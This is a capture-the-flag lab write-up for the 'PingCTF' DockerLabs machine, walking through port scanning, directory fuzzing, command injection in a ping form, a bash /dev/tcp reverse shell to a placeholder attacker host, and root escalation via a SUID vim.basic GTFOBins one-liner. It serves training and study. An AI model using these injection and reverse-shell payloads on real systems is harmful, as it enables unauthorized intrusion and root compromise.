> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/easy/pingctf.md).

# PingCTF

## 1 - Reconnaissance

We begin with a fast Nmap scan to identify open ports:

`nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5`

**Result: port 80 is open**

## 2 - Enumeration

Now we run a service/version detection scan, targeting only the open ports we found on the previous scan:

`nmap 172.17.0.2 -p 80 -sS -Pn -sCV`

<figure><img src="/files/NX5daPY9rO3Ze2cX7wBJ" alt=""><figcaption><p>(PingCTF) Targeted Port Scan</p></figcaption></figure>

We tried to find exploits or shellcodes using `searchsploit` but there wasn't any. Our next step will be directory enumeration. Using our tool `ffuf-dir`:

```
ffuf-dir () {
  ffuf -u $1 -w /usr/share/wordlists/dirb/big.txt ${@: 2} -e .html,.php,.txt
}
```

we did `ffuf-dir http://172.17.0.2/FUZZ` and we found the following routes:

<figure><img src="/files/3EZRV9IJerkgnXfviJwJ" alt=""><figcaption><p>(PingCTF) FFUF Routes</p></figcaption></figure>

Browsing index.html we found this content:

<figure><img src="/files/IwIlgytAogqqlV4O3Hul" alt=""><figcaption><p>(PingCTF) Web Content</p></figcaption></figure>

## 3 - Exploitation

We can try to inject commands here. Knowing it's running `ping {$1}` on the system, we can try to input `172.0.0.1 ; whoami`.

<figure><img src="/files/xTQFoiINUmi6Kr1uk4dx" alt=""><figcaption><p>(PingCTF) Exploit Confirmed</p></figcaption></figure>

Knowing this, we can inject a reverse shell, which we will catch setting up a listener with `nc -lvnp 3110`.

```
127.0.0.1; bash -c "bash -i >& /dev/tcp/<IP>/<PORT> 0>&1"
```

We will upgrade the reverse shell to a fully interactive shell using a simple one-liner:

```
script /dev/null -c bash
```

Now we will send temporarily our shell to the background with `CTRL+Z` and we will run:

`stty raw -echo;stty size;fg`

That way we will be able to send control characters through the reverse shell without killing it. Also, we will know the size of our terminal in rows and columns. For example, mine is 46 rows and 207 columns. After that, we will run `fg` to return to the reverse shell, and we will run this:

`export SHELL=kitty stty rows 46 columns 207 export TERM=xterm-256color`

Now, we have a fully interactive tty that won't get killed if we run `CTRL+C`, and will be as functional as our local one.

## 4 - Privilege Escalation

We tried to run `sudo -l` but `sudo` command is not found, so we will try listing all the binaries with set SUID:

```
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/LTCVoA4E4OMvIBIUsNtp" alt=""><figcaption><p>(PingCTF) SUID Binaries</p></figcaption></figure>

We can see that there is SUID set on `/usr/bin/vim.basic`, so using this GTFOBins one-liner we can spawn a root shell:

```
/usr/bin/vim.basic -c ':py3 import os; os.execl("/bin/bash", "bash", "-pc", "reset; exec bash -p")'
```

<figure><img src="/files/g2mVEvmBbowzwW9Hb4g9" alt=""><figcaption><p>(PingCTF) Root Shell</p></figcaption></figure>

## 5 - Summary

**Initial access:** Directory enumeration revealed a /ping endpoint that executed ping {$1}, exposing an injection point.

**Exploitation:** Command injection `(127.0.0.1; bash -c "bash -i >& /dev/tcp// 0>&1")` provided a reverse shell; the shell was upgraded to a fully interactive TTY using script and stty/export TERM.

**Privilege escalation:** A SUID binary `/usr/bin/vim.basic` was present; leveraging GTFOBins (Python exec) allowed spawning a root shell.